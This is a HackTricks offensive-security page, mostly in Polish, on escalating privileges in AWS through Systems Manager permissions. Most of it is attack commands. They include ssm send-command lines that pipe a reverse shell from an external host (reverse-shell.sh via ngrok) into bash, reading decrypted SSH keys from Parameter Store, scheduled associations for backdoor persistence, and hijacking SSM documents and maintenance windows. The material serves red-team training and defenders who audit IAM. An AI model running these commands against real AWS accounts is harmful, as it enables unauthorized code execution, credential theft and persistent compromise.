AWS - SSM Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

SSM

Po więcej informacji o SSM sprawdź:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Atakujący z uprawnieniem ssm:SendCommand może wykonywać komendy na instancjach uruchamiających Amazon SSM Agent i skompromitować IAM Role działającą w ich wnętrzu.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Jeśli używasz tej techniki do eskalacji uprawnień wewnątrz już przejętej instancji EC2, możesz po prostu przechwycić rev shell lokalnie za pomocą:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potential Impact: Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.

ssm:StartSession

An attacker with the permission ssm:StartSession can rozpocząć sesję podobną do SSH na instancjach uruchamiających Amazon SSM Agent i przejąć IAM Role działającą w ich wnętrzu.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

Aby rozpocząć sesję, musisz mieć zainstalowany SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potential Impact: Bezpośredni privesc do ról EC2 IAM podłączonych do działających instances z uruchomionymi SSM Agents.

Privesc to ECS

Gdy ECS tasks działają z włączonym ExecuteCommand, users z wystarczającymi permissions mogą użyć ecs execute-command, aby execute a command wewnątrz kontenera.
Zgodnie z the documentation odbywa się to przez utworzenie secure channel między device używanym do zainicjowania polecenia “exec“ a docelowym kontenerem za pomocą SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)
Dlatego users z ssm:StartSession będą mogli get a shell inside ECS tasks z włączoną tą opcją, po prostu uruchamiając:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potential Impact: Bezpośredni privesc do ról ECSIAM dołączonych do działających zadań z włączonym ExecuteCommand.

ssm:ResumeSession

Atakujący z uprawnieniem ssm:ResumeSession może ponownie uruchomić sesję podobną do SSH na instancjach uruchamiających Amazon SSM Agent z odłączonym stanem sesji SSM i skompromitować IAM Role działającą w jej obrębie.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potencjalny wpływ: Bezpośrednie privesc do ról EC2 IAM dołączonych do uruchomionych instancji z działającymi SSM Agents i rozłączonymi sesjami.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Atakujący z wymienionymi uprawnieniami będzie w stanie wylistować parametry SSM i odczytać je w clear-text. W tych parametrach często można znaleźć wrażliwe informacje takie jak klucze SSH lub klucze API.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potencjalny wpływ: Znajdź wrażliwe informacje w parametrach.

ssm:ListCommands

Atakujący z tym uprawnieniem może wyświetlić wszystkie wysłane commands i miejmy nadzieję znaleźć w nich wrażliwe informacje.

aws ssm list-commands

Potencjalny wpływ: Znajdź wrażliwe informacje w liniach poleceń.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Atakujący z tymi uprawnieniami może wylistować wszystkie wysłane commands i odczytać output, generowanym przez nie, mając nadzieję na znalezienie w nim wrażliwych informacji.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potencjalny wpływ: Znajdź wrażliwe informacje w output komend.

Using ssm:CreateAssociation

Atakujący z uprawnieniem ssm:CreateAssociation może utworzyć State Manager Association, aby automatycznie wykonywać komendy na instancjach EC2 zarządzanych przez SSM. Te associations mogą być skonfigurowane do uruchamiania w stałych odstępach czasu, co czyni je odpowiednimi do persistence podobnego do backdoor bez interaktywnych sesji.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Ta metoda persistence działa tak długo, jak instancja EC2 jest zarządzana przez Systems Manager, agent SSM działa, a attacker ma permission do tworzenia associations. Nie wymaga sesji interaktywnych ani jawnych uprawnień ssm:SendCommand. Important: parametr --schedule-expression (np. rate(30 minutes)) musi respektować minimalny interwał AWS wynoszący 30 minutes. Aby wykonać to natychmiast lub jednorazowo, całkowicie pomiń --schedule-expression — association wykona się raz po utworzeniu.

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

Attacker z permissions ssm:UpdateDocument i ssm:UpdateDocumentDefaultVersion może eskalować privileges przez modyfikowanie istniejących documents. Pozwala to także na persistence w ramach tego document. W praktyce attacker potrzebowałby również ssm:ListDocuments, aby uzyskać nazwy custom documents, a jeśli attacker chce obfuskować swój payload w istniejącym document, ssm:GetDocument będzie również konieczne.

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

Poniżej znajduje się przykładowy dokument, którego można użyć do nadpisania istniejącego dokumentu. Będziesz chciał upewnić się, że typ Twojego dokumentu pasuje do typu docelowych dokumentów, aby uniknąć problemów z invokation. Poniższy dokument obejmuje na przykład przykłady ssm:SendCommand i ssm:CreateAssociation.

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

Atakujący z uprawnieniami ssm:RegisterTaskWithMaintenanceWindow oraz ssm:RegisterTargetWithMaintenanceWindow może eskalować uprawnienia, najpierw rejestrując nowy target z istniejącym maintenance window, a następnie aktualizując, rejestrując nowe task. Daje to execution na istniejących target, ale może pozwolić atakującemu skompromitować compute z różnymi roles przez zarejestrowanie nowych target. To także umożliwia persistence, ponieważ maintenance windows task są wykonywane w z góry zdefiniowanych odstępach czasu podczas tworzenia window. W praktyce atakujący potrzebowałby też ssm:DescribeMaintenanceWindows, aby uzyskać ID maintenance window.

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Codebuild

Możesz także użyć SSM, aby dostać się do kodu projektu codebuild będącego w trakcie budowania:

AWS - Codebuild Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks